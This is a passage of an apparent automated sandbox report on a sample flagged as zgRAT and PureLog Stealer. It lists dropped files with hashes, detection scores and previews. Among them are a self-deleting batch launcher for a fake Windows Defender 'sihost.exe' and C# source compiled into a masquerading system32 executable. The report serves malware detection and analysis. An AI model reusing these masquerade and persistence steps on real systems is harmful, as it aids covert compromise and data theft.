SSDEEP:	6:XuKYiIHXVSREdjrUI8ZnwvFAnyCGHlbYHH19bKAWv/WEA+qC/NSuoVOAHNC3SFr:f76AR4sLaFARGHFqH19bTWTA+JotgSJ
MD5:	D93A42DA2E7983E996F12C9DCE375FAD
SHA1:	512D61DEF16CF4928964B7C2532DBC423F448E35
SHA-256:	B7DB16D5F359C15E091D7219F12A1C3450471FBF0534B6D7813299D22A04C513
SHA-512:	8AA8E8EB6D072C6BF06C54F5EB12F8B7CDB18E0BBD1BF6B65E8C00008E74ADA48C086DAAEC35223D7A365E451E1B2CE6E89B821B6E098D293327A0D16844FB2B
Malicious:	false
Preview:	XsigLGRa4Us5HiJ37I89Lgq5PRBaBQpkbRW0xSbhRRWo71T14Y0W5dL0CmR3E1YopHezMTGpqar3JC8Y8KfnaSp7GfxKBhca2s8zWdpkSKpevRrAo354VvNWchtqf5oJ7RBbDIBee5UPmLLyyxfImiEGemXzt9FWgggeQP6f1baab8uQV51raghZM46bvMue07sForhj0AQKHopg1GdyHX6A9GRWSfuoq5kdPoloXS1aPWRiOajos6XdBsFhZLQVPleMDMRNezbzggvnztH26F5uiHcgiEPLCgKn1FeCJVK3eh6e6cspEXYKpun6tuoajPx9WHwtOEtl5CPAK7kGVjHoH97HbiSYrtUPu7Iyp9a9oxPnemww

C:\Program Files\Windows Defender\Platform\sihost.exe

Download File

Process:	C:\containerperf\ServerComponenthostMonitorDll.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	68597760
Entropy (8bit):	0.38816501086795074
Encrypted:	false
SSDEEP:	24576:1VJEBWEFKKqXYkSa7ixTVHMoepIQfm9Eymyg+mbqA72E27dyIkzdn3m2OxJ+NikO:1bxzV7id+7yTgJWA6ESkzdWnJc9n
MD5:	01287AA2A0B5D2178CB13C477A04DC21
SHA1:	884039BF4A15A820073CEF5A7D2022A97EF93C8C
SHA-256:	4AF6BBCFF1CD1386DD5023BFBF76E9C532C8F466563768D40459E5CE9A40A52B
SHA-512:	641D8FA8F22C57282139DB3192A50C7B84DAD0E4987327AD728A89BF65D533955589A4ACB31B17179856A4A159F3E2EA105EAAC5A5B255BD3B8E3C9B97973911
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files\Windows Defender\Platform\sihost.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files\Windows Defender\Platform\sihost.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 61% Antivirus: Virustotal, Detection: 49%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?:-g............................./... ...@....@.. ....................................@................................../..K....@.. ....................`....................................................... ............... ..H............text........ ...................... ..`.rsrc... ....@......................@....reloc.......`......................@..B................./......H...........H................H.../.......................................0..........(.... ........8........E........)...N......8....(.... ....~y...{....:....& ....8....(.... ....~y...{....9....& ....8....(.... ....~y...{l...9....& ....8y......0.......... ........8........E................9.......H.......8.......... ....8....8.... ....~y...{....9....& ....8....8.... ....8....~....(M... .... .... ....s....~....(Q....... ....~y...{....:W...& ....8L.......~....(U...~....(Y... .

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ServerComponenthostMonitorDll.exe.log

Download File

Process:	C:\containerperf\ServerComponenthostMonitorDll.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1396
Entropy (8bit):	5.350961817021757
Encrypted:	false
SSDEEP:	24:ML9E4KQwKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNrJE4qtE4KlOU4mZsXE4Npv:MxHKQwYHKGSI6oPtHTHhAHKKkrJHmHKu
MD5:	EBB3E33FCCEC5303477CB59FA0916A28
SHA1:	BBF597668E3DB4721CA7B1E1FE3BA66E4D89CD89
SHA-256:	DF0C7154CD75ADDA09758C06F758D47F20921F0EB302310849175D3A7346561F
SHA-512:	663994B1F78D05972276CD30A28FE61B33902D71BF1DFE4A58EA8EEE753FBDE393213B5BA0C608B9064932F0360621AF4B4190976BE8C00824A6EA0D76334571
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..2,"System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Runtime.Serialization, Version=4.0.0.0, Culture=neutr

C:\Users\user\AppData\Local\Microsoft\Vault\UserProfileRoaming\Latest.dat

Download File

Process:	C:\Windows\System32\lsass.exe
File Type:	very short file (no magic)
Category:	modified
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	93B885ADFE0DA089CDF634904FD59F71
SHA1:	5BA93C9DB0CFF93F52B521D7420E43F6EDA2784F
SHA-256:	6E340B9CFFB37A989CA544E6BB780A2C78901D3FB33738768511A30617AFA01D
SHA-512:	B8244D028981D693AF7B456AF8EFA4CAD63D282E19FF14942C246E50D9351D22704A802A71C3580B6370DE4CEB293C324A8423342557D4E5C38438F0E36910EE
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\Astral private DLL.exe

Download File

Process:	C:\Users\user\Desktop\AstralprivateDLL.exe.bin.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	68919754
Entropy (8bit):	0.4359980006212344
Encrypted:	false
SSDEEP:	24576:2TbBv5rUyXVNVJEBWEFKKqXYkSa7ixTVHMoepIQfm9Eymyg+mbqA72E27dyIkzdG:IBJNbxzV7id+7yTgJWA6ESkzdWnJc9nm
MD5:	C28FADCE847B20E2442ABA2F2F9F5699
SHA1:	6FF43DD7B53F0389D1E521B545DDE85345D9DE29
SHA-256:	E142E7E883F59667BCEEB28EFDEF014447C4FF96A4F8A8210343E25F408D8284
SHA-512:	325EC68858FC7E1927B60D56E832F90C070B7871C0A97606BF10563C7FD8C4B8D8CE3EC55B2AC0BDA1B3A92BBB572DC0ACAA7CFC338FFF586806338DAB8FC044
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 62% Antivirus: Virustotal, Detection: 43%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......x_c.<>..<>..<>......1>.......>......$>...I.>>...I../>...I..+>...I...>..5F..7>..5F..;>..<>..)?...I...>...I..=>...I.=>...I..=>..Rich<>..........PE..L..... b............................0........0....@..........................P............@.........................p...4.......P....@....................... ..<#......T............................U..@............0..x....... ....................text............................... ..`.rdata.......0....... ..............@..@.data... G..........................@....didat.......0......................@....rsrc........@......................@..@.reloc..<#... ...$..................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RESF04D.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x6e0, 10 symbols, created Mon Jan 13 14:22:05 2025, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1944
Entropy (8bit):	4.543170152958725
Encrypted:	false
SSDEEP:	24:HXC9aOOQTUDfHrwKbNaluxOysuZhN7jSjRzPNnqpdt4+lEbNFjMyi0+WUZ:nES8KbEluOulajfqXSfbNtmhBZ
MD5:	BB73FB65E5F2B1E24C45E5A68335BA9F
SHA1:	BE023C0C396FC7DA06F5406FEAE026F54F4AE15C
SHA-256:	EED030CBB86589DA4CE6C0DAD83E5AA5C6B2C1FA7157B2A83470E90066AB8C84
SHA-512:	D560D726F33B8DA4BA1497368AA11206A41930FE60B441930BE971F7B28D3743A80761FFC3FA62835F4BF2C877E92144884CB29D37DC9C6C371AB25B0904A55E
Malicious:	false
Preview:	L....!.g.............debug$S........0...................@..B.rsrc$01................\...........@..@.rsrc$02........p...p...............@..@........;....c:\Windows\System32\CSCC4EE3A879404710AD2E4883A563BED.TMP...................r.av..t.y..............4.......C:\Users\user\AppData\Local\Temp\RESF04D.tmp.-.<....................a..Microsoft (R) CVTRES.X.=..cwd.C:\containerperf.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe....................... .......8.......................P.......................h.......................................................\|...............................................\|.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...T.....I.n.t.e.r.n.a.l.N.a.m.e...S.e.c.u.r.i.t.y.H.e.a.l.t.h.S.y.

C:\Users\user\AppData\Local\Temp\UqurQlZIBi

Download File

Process:	C:\containerperf\ServerComponenthostMonitorDll.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.483856189774723
Encrypted:	false
SSDEEP:	3:uax2Rh3:uLL
MD5:	739A24C5E6A879DF2221BD4E9851F73C
SHA1:	A3692FE9AB051E3EE6EF00F7513C23D9B55C29C7
SHA-256:	99BD646B66D7AFD9E5A3C4E5602EBFE1BDA736969E7BE64C3B21C34ED58D1CFF
SHA-512:	7D80110A271A6E54E64FFF6FD6D37C7B59793A925B273B551670E4373235FC9FCE8BC839C96D45006ADD505D16DB5F10D20D182AE7B825C5A1EE18D019E5F795
Malicious:	false
Preview:	abOjFBThtnTE1CU2VKHkgIzaR

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1zbmysuz.im0.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2wphgkcj.did.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_432gr0um.gjg.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_axs4y53t.lfl.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dy1hbwqk.wqp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_huewos1m.nds.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s3mjuqor.gqa.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tpkmbqq1.yyy.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\bcapgbqjwdsj.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\twain_32.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	150528
Entropy (8bit):	5.769203996328619
Encrypted:	false
SSDEEP:	3072:60gp4UGo8MYmB99SrtM0ieiG027bAM8mMu0cM:60c4kzOieR02s
MD5:	658AC2968AC81EADBE165CFD2A770C34
SHA1:	39D228C2B5D1181ABE8BCE6A95FE852C8E06A79C
SHA-256:	4F698FB3C8100837ACB42BEE30B7B0C362BCF6D3C617880BEDC86E1D57C25D11
SHA-512:	CAF647E30FB73FE25E879A83C38D24B9E2453754DABBB3B2C7E885B814C9C06053206CBAAE777061C3873FC687DE5F15FAC5058B8B675C57235CFCCC2277A106
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92% Antivirus: Virustotal, Detection: 82%, Browse
Joe Sandbox View:	Filename: launcher.exe.bin.exe, Detection: malicious, Browse Filename: Eulen.exe, Detection: malicious, Browse Filename: zufmUwylvo.exe, Detection: malicious, Browse Filename: zufmUwylvo.exe, Detection: malicious, Browse Filename: test2.exe, Detection: malicious, Browse Filename: PasteHook.exe, Detection: malicious, Browse Filename: hfi47s4wOT.exe, Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe, Detection: malicious, Browse Filename: H8Q1WRGrzw.exe, Detection: malicious, Browse
Preview:	MZ......................@.......................................sr......!..L.!This program cannot be run in DOS mode....$............qgL.qgL.qgL..aM.qgL..fM.qgL.qfL.qgLO.oM.qgLO..L.qgLO.eM.qgLRich.qgL........................PE..d.....[c.........."...... ...*.......#.........@..........................................`..................................................8.......p..`....`..8....................5..8............................................0...............................text...%........ .................. ..`.rdata.......0.......$..............@..@.data........P......................@....pdata..8....`.......8..............@..@.rsrc...`....p.......:..............@..@........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bxCB1k3pGG.bat

Download File

Process:	C:\containerperf\ServerComponenthostMonitorDll.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	229
Entropy (8bit):	5.1123225064780575
Encrypted:	false
SSDEEP:	6:hCijTg3Nou1SV+DEiyA7Lk8KOZG1wkn23fPQUk:HTg9uYDEirPfXC
MD5:	C518608778C7AB081BE5515985E2B143
SHA1:	1FD71273936E96CF3720D06DB1A639EEF2D0DDDE
SHA-256:	B2A9A6693CA2F7EB2BB8BBA1B6758CD5A7258679412314EB8D336CE44630D2C9
SHA-512:	11D46A66CCC2000A9C2A956EAFC203D8B4497AFBFF666DFB89B33EE2760407154851504AD86EEDBD8741CE561A65AD4BBB76594B632061A69B192136EB913126
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@echo off..chcp 65001..w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 > nul..start "" "C:\Program Files\Windows Defender\Platform\sihost.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\bxCB1k3pGG.bat"

C:\Users\user\AppData\Local\Temp\toes5wxx\toes5wxx.0.cs

Download File

Process:	C:\containerperf\ServerComponenthostMonitorDll.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text
Category:	dropped
Size (bytes):	382
Entropy (8bit):	4.9014117354247455
Encrypted:	false
SSDEEP:	6:V/DBXVgtSaIb2Lnf+eG6L2F0T7bfwlxFK8wM2Lnf+eG6L2geinsaiFK8wQAv:V/DNVgtDIbSf+eBLZ7bfiFkMSf+eBLnd
MD5:	BC069AB0055EEDD620BBFE341F8742CB
SHA1:	94FD54C27CCDDA47B2E846DB13D2E056C8887287
SHA-256:	78DA170142B01931CA8302B8FEDA7503A7E404B3730A93DAACA0423A67B1C1E3
SHA-512:	247685B4E169A2B1D02FEB9C830DB609EB4F5E6DB99390DF2B2A567F309E17AF138A10173FE4D136477B70546BD341705C7D6AA8C02E12ACE8AB0F58685A6143
Malicious:	false
Preview:	.using System.Diagnostics;.using System.Threading;..class Program.{. static void Main(string[] args). {. new Thread(() => { try { Process.Start(@"C:\Windows\system32\SecurityHealthSystray.exe.exe", string.Join(" ", args)); } catch { } }).Start();. new Thread(() => { try { Process.Start(@"C:\Windows\appcompat\powershell.exe"); } catch { } }).Start();. }.}.

C:\Users\user\AppData\Local\Temp\toes5wxx\toes5wxx.cmdline

Download File

Process:	C:\containerperf\ServerComponenthostMonitorDll.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	250
Entropy (8bit):	5.0387323117612945
Encrypted:	false
SSDEEP:	6:Hu+H2L//1xRT0T79BzxsjGZxWE8owkn23f9x:Hu7L//TRq79cQWfn
MD5:	D7D5ACF420E04A997E637F9E3E9AADBF
SHA1:	E0A9562B2B6DAE56C41F5E020A6E2C29DDAF41BC
SHA-256:	E630CC464D8EBCDBEA6B24A40E47C94960FFD40A08A06F3C833A3B8071A18836
SHA-512:	37C6C6C0BF99ED1B0379382B6B55763F98FAABBD8755D434A0881C189F919E92D280FE51E2DCD37AF9EB35FC990732C73C26C02FBDEF5C9DC2DA3F5F5B5D3124
Malicious:	true
Preview:	./t:exe /utf8output /R:"System.dll" /R:"System.Threading.dll" /R:"System.Data.dll" /out:"C:\Windows\system32\SecurityHealthSystray.exe" /debug- /optimize+ /optimize+ /target:winexe /unsafe "C:\Users\user\AppData\Local\Temp\toes5wxx\toes5wxx.0.cs"

C:\Users\user\AppData\Local\Temp\toes5wxx\toes5wxx.out

Download File

Process:	C:\containerperf\ServerComponenthostMonitorDll.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (323), with CRLF, CR line terminators
Category:	modified
Size (bytes):	744
Entropy (8bit):	5.235119212881018
Encrypted:	false
SSDEEP:	12:Jl7I/u7L//TRq79cQWfuKaxK4BFNn5KBZvK2wo8dRSgarZucvW3ZDPOU:LI/un/Vq79tWfuKax5DqBVKVrdFAMBJj
MD5:	2A61AA92DA1346EFE173FF12E31D78DE
SHA1:	E8AFE8E8F7236BB7C61CC208BCC8BFA720A23D46
SHA-256:	2760331BDDB6019F62BDDEF38DF423C53AB190B55606C77865B2889DA58E7B00
SHA-512:	63A375FA23A7BB36BCF719857C58AB12CDEB345AB3838A6B43CDF4823519021DBAE34B5369BC8133B8E80D05F61AA3DA8CA286EA46044420EC8A5C061A0EEFE4
Malicious:	false
Preview:	.C:\containerperf> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:exe /utf8output /R:"System.dll" /R:"System.Threading.dll" /R:"System.Data.dll" /out:"C:\Windows\system32\SecurityHealthSystray.exe" /debug- /optimize+ /optimize+ /target:winexe /unsafe "C:\Users\user\AppData\Local\Temp\toes5wxx\toes5wxx.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\twain_32.exe

Download File

Process:	C:\Users\user\Desktop\AstralprivateDLL.exe.bin.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	6007384
Entropy (8bit):	7.677631047166036
Encrypted:	false
SSDEEP:	98304:L019jVmxMBIJDBWUQ/HUh6Azh+Xfh/iQzNJQEiDJvybzC6SN:LaHBUQ/46ih+X5DQsbu6s
MD5:	1FF26B7D334CD22E726CAF72A4208B96
SHA1:	D2A1AD17E27C01072AC41D4D20426DD5CA7554AD
SHA-256:	56ECE6BE060502193ED0360A8FF7D0633DC7E88D133B28B8A73DFB755D2134DB
SHA-512:	787B02B048DAD824DD216A0B33872B2012FC8B2C47D831A33C4EB05399DF9A253BD30A8789659A7DA0EEA8535BB78705685AC67AE546D2F10210C7BA552B4F49
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 79%
Preview:	MZ......................@.......................................hr......!..L.!This program cannot be run in DOS mode....$.......PE..d......f...............&......[..&.............@..............................\......[...`... ...............................................[.4.....[. ....`[.......[.X&....\.0...........................`L[.(.....................[.P............................text...............................`..`.data... SY......TY.................@....rdata...>... [..@....[.............@..@.pdata.......`[......D[.............@..@.xdata..<.....[......X[.............@..@.bss.... %....[..........................idata..4.....[......h[.............@....CRT....`.....[......t[.............@....tls..........[......v[.............@....rsrc... .....[......x[.............@....reloc..0.....\.......[.............@..B........................................................................................................................................................................

C:\Users\user\Desktop\AvUrEmYP.log

Download File

Process:	C:\containerperf\ServerComponenthostMonitorDll.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\IbBZTfZC.log

Download File

Process:	C:\containerperf\ServerComponenthostMonitorDll.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
